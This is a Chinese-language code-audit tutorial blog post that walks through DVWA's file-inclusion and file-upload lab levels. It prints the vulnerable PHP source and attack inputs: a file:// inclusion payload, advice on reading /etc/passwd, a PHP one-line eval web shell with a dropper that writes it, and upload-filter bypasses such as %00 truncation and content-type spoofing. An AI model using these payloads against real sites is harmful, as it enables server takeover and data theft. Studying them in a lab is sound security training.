检查page参数,要求page参数的开头必须是file开头,服务器才回去包含,但是我们可以利用file协议绕过防护策略,然后再进行包含

payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

代码审计入门

最后看一下impossiable级别的代码

<?php

// The page we wish to display

$file $_GET‘page’ ];

// Only allow include.php or file{1..3}.php

if( $file != “include.php” && $file != “file1.php” && $file != “file2.php” && $file != “file3.php” ) {

// This isn’t the page we want!

echo “ERROR: File not found!”;

exit;

}

?>

可以看到代码很简洁,page参数只能是"include.php","file1.php","file2.php","file3.php"

否则直接exit。彻底不能文件包含了。

最后的最后再分享个文件包含的渗透小技巧

***读取敏感文件是文件包含漏洞的主要利用方式之一,比如服务器采用Linux系统,而用户又具有相应的权限,那么就可以利用文件包含漏洞去读取/etc/passwd文件的内容。

系统中常见的敏感信息路径如下:windows系统

代码审计入门

linux系统

代码审计入门

***文件包含漏洞的主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
比如,在记事本中写入下面这段代码,并将之保存成jpg文件。

<?php
fwrite(fopen(“orange.php”,”w”),'<?php @eval($_POST[orange]);?>’);
?>

可以成功进行包含,并且得到了一个orange.php一句话木马文件,密码是orange。进而进行下一步攻击。

代码审计入门

代码审计入门
代码审计入门

文件上传审计

其实个人认为文件上传黑盒测试的时候姿势特别多,白盒测试的时候除了明显的限制上传文件的类型外,白盒审计不如黑盒测试来的”刺激”。

文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。

上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行。

(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。

(2) 黑名单扩展名过滤:限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)

(3) 文件头 content-type验证绕过:getimagesize()函数:验证文件头只要为GIF89a,就会返回真。限制$_FILES[“file”][“type”]的值 就是人为限制content-type为可控变量。

(4)过滤不严或被绕过:比如大小写问题,网站只验证是否是小写,我们就可以把后缀名改成大写。

(5)文件解析漏洞:比如 Windows 系统会涉及到这种情况:文件名为1.php;.jpg,IIS 6.0 可能会认为它是jpg文件,但是执行的时候会以php文件来执行。我们就可以利用这个解析漏洞来上传。再比如 Linux 中有一些未知的后缀,比如a.php.xxx。由于 Linux 不认识这个后缀名,它就可能放行了,攻击者再执行这个文件,网站就有可能被控制。

(6)路径截断:就是在上传的文件中使用一些特殊的符号,使文件在上传时被截断。比如a.php%00.jpg,这样在网站中验证的时候,会认为后缀是jpg,但是保存到硬盘的时候会被截断为a.php,这样就是直接的php文件了。常用来截断路径的字符是:  , ?  ,  %00  ,   也可以超长的文件路径造成截断。

(4)等等等等,以后慢慢补充

忘了编译器了,编辑器漏洞和文件上传漏洞原理一样,只不过多了一个编辑器。上传的时候还是会把我们的脚本上传上去。不少编译器本身就存在文件上传漏洞,举个栗子:进入网站后台后如果找不到上传的地方或者其他姿势不好使的时候,就可以从编译器下手进行上传,从而GETSHELL。常见的编译器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各种编译器利用的相关姿势。网上很多这里就不写了。

先了解一下PHP通过$_FILES对象来读取文件,以便于下面的理解

PHP中通过$_FILES对象来读取文件,通过下列几个属性:

  • $_FILES[file]['name'] – 被上传文件的名称。
  • $_FILES[file]['type'] – 被上传文件的类型。
  • $_FILES[file]['size'] – 被上传文件的大小(字节)。
  • $_FILES[file]['tmp_name'] – 被上传文件在服务器保存的路径,通常位于临时目录中。
  • $_FILES[file]['error'] – 错误代码,0为无错误,其它都是有错误。

DVWA分析

选择low级别,先进行黑盒测试一下,直接上传个php一句话:<?php @eval($_POST[“orange”]); ?>

看到上传成功,路径(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),

代码审计入门

代码审计入门

看一下代码

<?php

if( isset( $_POST‘Upload’ ] ) ) {

// Where are we going to be writing to?

$target_path  DVWA_WEB_PAGE_TO_ROOT “hackable/uploads/”;

$target_path .= basename$_FILES‘uploaded’ ][ ‘name’ ] );

// Can we move the file to the upload folder?

if( !move_uploaded_file$_FILES‘uploaded’ ][ ‘tmp_name’ ], $target_path ) ) {

// No

echo ‘<pre>Your image was not uploaded.</pre>’;

}

else {

// Yes!

echo “<pre>{$target_path} succesfully uploaded!</pre>”;

}

}

?>

 不懂上面的函数什么意思可以百度一下,

basename()函数:basename(path,suffix)   ,    basename() 函数返回路径中的文件名部分。如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file()函数:move_uploaded_file(file,newloc)    ,   move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

分析:DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES[‘uploaded’][‘name’])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,所以可以上传任意文件,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

 

 

选择mediem级别,看下代码

<?php

if( isset( $_POST‘Upload’ ] ) ) {

// Where are we going to be writing to?

$target_path  DVWA_WEB_PAGE_TO_ROOT “hackable/uploads/”;

$target_path .= basename$_FILES‘uploaded’ ][ ‘name’ ] );

// File information

$uploaded_name $_FILES‘uploaded’ ][ ‘name’ ];

$uploaded_type $_FILES‘uploaded’ ][ ‘type’ ];

$uploaded_size $_FILES‘uploaded’ ][ ‘size’ ];

// Is it an image?

if( ( $uploaded_type == “image/jpeg” || $uploaded_type == “image/png” ) &&

$uploaded_size 100000 ) ) {

// Can we move the file to the upload folder?

if( !move_uploaded_file$_FILES‘uploaded’ ][ ‘tmp_name’ ], $target_path ) ) {

// No

echo ‘<pre>Your image was not uploaded.</pre>’;

}

else {

// Yes!

echo “<pre>{$target_path} succesfully uploaded!</pre>”;

}

}

else {

// Invalid file

echo ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>’;

}

}

?>

可以看到对上传的类型和大小加以限制,限制文件类型必须是image/jpeg和image.png,并且上传文件的大小小于100000(97.6KB)

但是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可

我们可以通过burpsuite抓包修改文件类型,具体如下图所示,通过抓包上传upload.php,把.php文件成功上传(上传的png文件是小于97.6KB的)

注:这里也是可以利用%00截断上传,讲下图中的upload.png改成upload.php%00.png就可以突破限制,成功上传。

代码审计入门

代码审计入门

选择high级别,看下代码

<?php

if( isset( $_POST‘Upload’ ] ) ) {

// Where are we going to be writing to?

$target_path  DVWA_WEB_PAGE_TO_ROOT “hackable/uploads/”;

$target_path .= basename$_FILES‘uploaded’ ][ ‘name’ ] );

// File information

$uploaded_name $_FILES‘uploaded’ ][ ‘name’ ];

$uploaded_ext  substr$uploaded_namestrrpos$uploaded_name‘.’ ) + 1);

$uploaded_size $_FILES‘uploaded’ ][ ‘size’ ];

$uploaded_tmp  $_FILES‘uploaded’ ][ ‘tmp_name’ ];

// Is it an image?

if( ( strtolower$uploaded_ext ) == “jpg” || strtolower$uploaded_ext ) == “jpeg” || strtolower$uploaded_ext ) == “png” ) &&

$uploaded_size 100000 ) &&

getimagesize$uploaded_tmp ) ) {

// Can we move the file to the upload folder?

if( !move_uploaded_file$uploaded_tmp$target_path ) ) {

// No

echo ‘<pre>Your image was not uploaded.</pre>’;

}

else {

// Yes!

echo “<pre>{$target_path} succesfully uploaded!</pre>”;

}

}

else {

// Invalid file

echo ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>’;

}

}

?>

分析:strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

用图片马进行绕过,抓包修改,把”phptupianma.png”改为”phptupianma.php.png”

在本来的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端当作php文件来执行,这样就可以成功上传。

代码审计入门

代码审计入门

还有其他漏洞类型的审计,以后会慢慢补充……

上面所写到的工具和环境都分享在云盘里面(链接: https://pan.baidu.com/s/1pLr7w6Z 密码: r326)

本文链接(http://www.cnblogs.com/Oran9e/p/7763751.html),转载请注明。

本文来源于互联网:代码审计入门

点击数:140

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇